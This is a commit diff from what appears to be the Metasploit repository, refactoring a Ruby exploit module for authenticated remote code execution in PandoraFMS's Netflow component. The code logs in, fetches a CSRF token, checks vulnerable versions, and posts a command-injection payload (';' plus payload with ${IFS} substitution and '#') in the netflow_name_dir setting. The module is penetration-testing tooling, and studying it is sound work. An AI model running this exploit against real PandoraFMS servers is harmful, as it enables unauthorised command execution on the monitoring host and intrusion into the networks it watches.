Skip to content

Commit 195b874

Browse files
committed
Addressing comments
1 parent 5c8d918 commit 195b874

File tree

1 file changed

+35
-18
lines changed

1 file changed

+35
-18
lines changed

modules/exploits/linux/http/pandora_fms_auth_netflow_rce.rb

Lines changed: 35 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ def initialize(info = {})
1616
info,
1717
'Name' => 'PandoraFMS Netflow Authenticated Remote Code Execution',
1818
'Description' => %q{
19-
This module exploits a command injection vulnerability in Netflow component of PandoraFMS. The module requires a set of user credentials to modify Netflow settings. Also, Netflow binaries have to present on the system.
19+
This module exploits a command injection vulnerability in Netflow component of PandoraFMS. The module requires a set of user credentials to modify Netflow settings. Also, Netflow binaries have to be present on the system.
2020
},
2121
'License' => MSF_LICENSE,
2222
'Author' => ['msutovsky-r7'], # researcher, module dev
@@ -77,15 +77,15 @@ def check
7777

7878
@csrf_token = html.at('input[@id="hidden-csrf_code"]')&.attributes&.fetch('value', nil)
7979

80-
return Msf::Exploit::CheckCode::Safe('Application is not probably PandoraFMS') unless version
80+
return Msf::Exploit::CheckCode::Safe('Application is not probably PandoraFMS') if version.blank?
8181

8282
version = version[1..]&.sub('NG', '')
8383

8484
vprint_warning('Token was not parsed, will try again') unless @csrf_token
8585

8686
vprint_status("Version #{version} detected")
8787

88-
return Exploit::CheckCode::Vulnerable("Vulnerable PandoraFMS version #{version} detected") if Rex::Version.new(version).between?(Rex::Version.new('7.0.774'), Rex::Version.new('7.0.777.10'))
88+
return Exploit::CheckCode::Appears("Vulnerable PandoraFMS version #{version} detected") if Rex::Version.new(version).between?(Rex::Version.new('7.0.774'), Rex::Version.new('7.0.777.10'))
8989

9090
Msf::Exploit::CheckCode::Safe("Running version #{version}, which is not vulnerable")
9191
end
@@ -108,6 +108,13 @@ def get_csrf_token
108108
fail_with Failure::NotFound, 'Could not found CSRF token' unless @csrf_token
109109
end
110110

111+
##
112+
# Checks whether login response was valid and successful. It check whether response code is 200 an if body contains either of following values - id="welcome-icon-header", id="welcome-panel" or "godmode"
113+
##
114+
def login_successful?(res)
115+
res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"') || res.body.include?('godmode')
116+
end
117+
111118
def login
112119
res = send_request_cgi!({
113120
'method' => 'POST',
@@ -122,7 +129,13 @@ def login
122129
'csrf_code' => @csrf_token
123130
}
124131
})
125-
fail_with Failure::NoAccess, 'Invalid credentials' unless res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"') || res.body.include?('godmode')
132+
fail_with Failure::NoAccess, 'Invalid credentials' unless login_successful?(res)
133+
end
134+
135+
def valid_netflow_options?(opts)
136+
opts.each do |item|
137+
return false if item.blank?
138+
end
126139
end
127140

128141
def configure_netflow
@@ -140,30 +153,34 @@ def configure_netflow
140153

141154
netflow_daemon_value = html.at('input[@name="netflow_daemon"]')&.attributes&.fetch('value', nil)
142155
netflow_nfdump_value = html.at('input[@name="netflow_nfdump"]')&.attributes&.fetch('value', nil)
143-
netflow_nfexpire_value = html.at('input[@name="netflow_nfexpire"]')&.attributes&.fetch('value', nil)
156+
html.at('input[@name="netflow_nfexpire"]')&.attributes&.fetch('value', nil)
144157
netflow_max_resolution_value = html.at('input[@name="netflow_max_resolution"]')&.attributes&.fetch('value', nil)
145158
netflow_disable_custom_lvfilters_sent_value = html.at('input[@name="netflow_disable_custom_lvfilters_sent"]')&.attributes&.fetch('value', nil)
146159
netflow_max_lifetime_value = html.at('input[@name="netflow_max_lifetime"]')&.attributes&.fetch('value', nil)
147160
netflow_interval_value = html.at('select[@name="netflow_interval"]//option[@selected="selected"]')&.attributes&.fetch('value', nil)
148161

149-
fail_with Failure::Unknown, 'Failed to get existing Netflow configuration' unless netflow_daemon_value && netflow_nfdump_value && netflow_nfexpire_value && netflow_max_resolution_value && netflow_disable_custom_lvfilters_sent_value && netflow_max_lifetime_value && netflow_interval_value
162+
request_data = {
163+
'netflow_daemon' => netflow_daemon_value,
164+
'netflow_nfdump' => netflow_nfdump_value,
165+
'netflow_max_resolution' => netflow_max_resolution_value,
166+
'netflow_disable_custom_lvfilters_sent' => netflow_disable_custom_lvfilters_sent_value,
167+
'netflow_max_lifetime' => netflow_max_lifetime_value,
168+
'netflow_interval' => netflow_interval_value
169+
}
170+
171+
fail_with Failure::Unknown, 'Failed to get existing Netflow configuration' unless valid_netflow_options?(request_data)
172+
173+
request_data.merge!({
174+
'netflow_name_dir' => ';' + payload.encoded.gsub(' ', '${IFS}') + '#',
175+
'update_config' => '1',
176+
'upd_button' => 'Update'
177+
})
150178

151179
res = send_request_cgi({
152180
'method' => 'POST',
153181
'uri' => normalize_uri(target_uri.path, 'index.php'),
154182
'vars_get' => { 'sec' => 'general', 'sec2' => 'godmode/setup/setup', 'section' => 'net' },
155-
'vars_post' =>
156-
{
157-
'netflow_name_dir' => ';' + payload.encoded.gsub(' ', '${IFS}') + '#',
158-
'netflow_daemon' => netflow_daemon_value,
159-
'netflow_nfdump' => netflow_nfdump_value,
160-
'netflow_max_resolution' => netflow_max_resolution_value,
161-
'netflow_disable_custom_lvfilters_sent' => netflow_disable_custom_lvfilters_sent_value,
162-
'netflow_max_lifetime' => netflow_max_lifetime_value,
163-
'netflow_interval' => netflow_interval_value,
164-
'update_config' => '1',
165-
'upd_button' => 'Update'
166-
}
183+
'vars_post' => request_data
167184
})
168185
fail_with Failure::PayloadFailed, 'Failed to configure Netflow' unless res&.code == 200
169186
end

0 commit comments

Comments
 (0)